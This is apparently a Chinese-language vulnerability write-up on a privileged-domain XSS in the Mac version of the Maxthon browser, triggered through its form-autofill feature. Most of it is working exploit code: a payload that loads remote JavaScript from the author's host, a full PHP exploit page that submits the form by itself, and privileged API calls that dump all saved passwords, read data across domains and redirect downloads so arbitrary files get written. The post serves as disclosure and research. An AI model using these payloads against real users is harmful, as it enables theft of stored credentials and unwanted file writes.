Mac下的傲游(Maxthon)其实是一个safari内核的浏览器,不过似乎阉割了太多功能,留下来的功能不多。
特权域XSS
首先XSS是由『智能填表』引入的。
如下POC,用户提交并点击保存为密码以后,即触发xss。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | <!DOCTYPE html> <html> <head>     <title><img src=1 onerror=alert(1);></title> </head>
  <body> <h2>Login</h2> <form method="post">     <input type="text" name="username" />     <input type="password" name="password" />     <input type="submit" value="submit" /> </form> </body> </html>
   | 
 


这个XSS在特权域maxthon://settings/下,所以拥有很多特权,这个后面说。
构造Exploit
首先要构造一个可以引入外部js文件的Xss Payload。
经过测试发现,有如下几个问题:
1.我们使用的payload中不能包含”、’、\等字符,这些字符会被转换成url编码。所以我将外部js地址放在html属性name中,然后用this.name来获取.
2.经测试不能直接插入script标签。所以我在自带的js文件中找到一个$.ajax方法,此方法可以加载jsonp,正好用来载入外部js
最后构造payload如下:
1
   | <img src=1 name=http://mhz.pw/game/maxthon/maxthon.js onerror=$.ajax({dataType:/jsonp/.source,url:this.name})>
  | 
 
另外,这个XSS需要在设置页面下触发,所以需要自动化提转到设置页面。
可以用如下代码跳转到maxthon://域下:
1 2 3 4 5
   | try {    location.href="maxthon://settings/"; } catch(e) {    alert(e); }
  | 
 
跳转过去以后即可触发XSS。
所以最终完整Exploit见 http://mhz.pw/game/maxthon/log.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
   | <!DOCTYPE html> <html> <head>     <title><img src=1 name=http://mhz.pw/game/maxthon/maxthon.js onerror=$.ajax({dataType:/jsonp/.source,url:this.name})></title> <?php      $a = ($_SERVER["REQUEST_METHOD"] == "POST");     if($a): ?>     <script type="text/javascript">     try {         setTimeout(function(){             location.href="maxthon://settings/";         }, 3000);     } catch(e) {         alert(e);     }         </script> <?php      endif; ?> </head> <body <?php if(!$a) { ?>onload="f.submit()"<?php } ?>> <h2>Login</h2> <form id="f" method="post">     <input type="text" name="username" value="aaaaaa" />     <input type="password" name="password" value="admin" />     <input type="submit" value="submit" /> </form> </body> </html>
   | 
 
表单自动提交。用户点击『保存』以后,过一会就会跳转到maxthon://setting/并触发特权域XSS。总过程用户只用点击一次。
特权域API
有了特权域的XSS,就可以特权域特权域API来做一些事了。http://mhz.pw/game/maxthon/maxthon.js中写入如下代码即可。
后台打开URL:
1 2 3
   | maxthon.send('OpenURL', ['http://**.**.**.**/', false]);
  maxthon.send('LoadURL', ['http://**.**.**.**/', false]);
  | 
 
跨域读取信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
   |  function parseData(url, data) {    var ret = '';    if (typeof data === 'object') {        for(var key in data) {            ret += '&' + key + '=' + encodeURIComponent(data[key]);        }        ret = ret.substr(1);    } else if (typeof data === 'string') {        ret = data;    }    return url + (url.indexOf('?') === -1 ? '?': '&') + ret; }
  function sendGet(arg) {    var url = arg.url, data = arg.data, success = arg.success, error = arg.error;    var timer, mark = true, xht = new XMLHttpRequest();    url = parseData(url, data);        timer = setTimeout(function () {        mark = false;        error && error(data);    }, 15000);
     xht.onreadystatechange = function (){        clearTimeout(timer);        mark && xht.readyState == 4 && xht.status == 200 && success(xht.responseText);    }
     xht.open('GET', url, true);    xht.send(null); }
  sendGet({ 	dataType: '123',  	url: "http://**.**.**.**/", 	success: function(content) { 		alert(content); 	} });
 
  | 
 

获取所有保存的密码
1 2 3 4 5 6 7 8
   | var module = register('magic-fill'); var info = ""; module.send('MFGetAllInfo', function(data){     for(var i in data) {         info += ('url: ' + data[i].signon + ' username: ' + data[i].username + ' password: ' + data[i].password + '\n');     }     alert(info); });
  | 
 

获取/设置下载目录 + 任意文件写入
1 2 3 4 5 6 7 8 9 10 11 12 13
   |  var module = register('basis'); function download_path(downloadPath) {   alert(downloadPath) } module.send('get', 'download_path', download_path);
 
  var module = register('basis'); module.send('set', 'download_path', '/Users/phithon/Downloads');
 
  maxthon.send('OpenURL', ['http://mhz.pw/game/maxthon/top3000.zip', false]);
 
  | 
 

